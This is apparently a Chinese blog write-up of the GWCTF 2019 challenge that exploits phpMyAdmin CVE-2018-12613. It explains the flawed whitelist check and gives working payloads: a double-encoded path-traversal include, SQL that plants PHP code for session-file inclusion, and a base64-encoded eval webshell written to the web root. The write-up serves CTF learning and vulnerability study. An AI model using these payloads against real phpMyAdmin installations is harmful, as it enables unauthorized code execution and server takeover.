[GWCTF 2019]我有一个数据库&&getshell

BUU我有一个数据库&&getsholl

做这题的话目的是为了复现 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

这题的话打开看是乱码,但查看响应还是有东西的:

在这里插入图片描述

多的不说先信息收集一波,直接扫目录,看页面有没有有用的信息
然后。

日常访问有没有:robots.txt

得到:
在这里插入图片描述
在发现有phpinfo.php

访问得到:

得到了后端脚本语言php的一些信息

扫描得到:

在这里插入图片描述

扫描发现有:phpmyadmin/

直接访问得到:

在这里插入图片描述

发现没有要登陆省去了很多的步骤

尝试用sql语句写shell,但是没用:

select '<?php eval($_POST[1]);?>' into outfile '/var/www/html' 

在这里插入图片描述

报错了不能写入shell

看一下phpMyadmin信息:
在这里插入图片描述

这是一个phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

一、漏洞描述

phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件。该漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

攻击者必须经过身份验证,以下情况除外:
$cfg[‘AllowArbitraryServer’] = true:攻击者可以指定已经控制的任何主机,并在 phpMyAdmin 上执行任意代码;
$cfg[‘ServerDefault’] = 0:这绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

二、漏洞影响

4.8.0 <= phpMyAdmin < 4.8.2

参考文章:
https://www.jianshu.com/p/0d75017c154f

造成漏洞的原因:

看源码:

1 if (! empty($_REQUEST['target'])//是否存在target参数
2     && is_string($_REQUEST['target'])//target的值书否为字符串
3     && ! preg_match('/^index/', $_REQUEST['target'])//正则匹配是否以index开头
4     && ! in_array($_REQUEST['target'], $target_blacklist)//在黑名单内的过滤掉
5     && Core::checkPageValidity($_REQUEST['target'])//Core类中的checkPageValidity方法
6 ) {
7     include $_REQUEST['target'];
8     exit;
9 }

黑名单

1$target_blacklist = array (//黑名单
2     'import.php', 'export.php'
3 );

主代码:

1 public static function checkPageValidity(&$page, array $whitelist = [])
 2    {
 3        if (empty($whitelist)) {
 4            $whitelist = self::$goto_whitelist;
 5        }
 6        if (! isset($page) || !is_string($page)) {
 7            return false;
 8        }
 9 
10        if (in_array($page, $whitelist)) {
11            return true;
12        }
13 
14        $_page = mb_substr(
15            $page,
16            0,
17            mb_strpos($page . '?', '?')
18        );
19        if (in_array($_page, $whitelist)) {
20            return true;
21        }
22 
23        $_page = urldecode($page);
24        $_page = mb_substr(
25            $_page,
26            0,
27            mb_strpos($_page . '?', '?')
28        );
29        if (in_array($_page, $whitelist)) {
30            return true;
31        }
32 
33        return false;
34    }

其实主要的代码很好理解,由于多了第二次的解码和判断,导致当传入二次编码的?(即%253f)时会取出导致db_sql.php作为参数从而绕过白名单进而达到文件读取的目的,这里加问号的参数会被当做文件来处理到达目录穿透。

在这里插入图片描述
所也构造Playload:

index.php?target=db_sql.php%253f/../../../../../../../../flag

得到flag

在这里插入图片描述
我并不追求得到flag,更想上传shell

phpMyadmin(CVE-2018-12613)漏洞可以:
一、:任意文件包含
二、:命令执行

我要执行命令可以,可以还要执行的代码写进数据库,然后去包含
数据库的文件然后达到命令执行的效果

由于这题的环境有问题,数据库存储的路径与其他的不同
但这并不能影响我,毕竟渗透的本质是信息收集
在多方面的查找下,我找到存储我们写入命令的
文件路径:/var/lib/php/sessions/ses_[cookie值]

所有现在先测试:
在test数据库里面存储:<?php phpinfo();?>

use test;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

得到:

查看cookie:

在这里插入图片描述
所有我们代码存储的位置:
/var/lib/php/sessions/sess_sgu9kg15c803go54ppssc17t4l

利用文件包含执行代码:

在这里插入图片描述
现在就写shell上去:

<?php system('echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d>/var/www/html/shell.php');?>

在这里插入图片描述

执行我写的代码:

在这里插入图片描述
访问检测木马:
在这里插入图片描述

蚁剑连接:

在这里插入图片描述

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值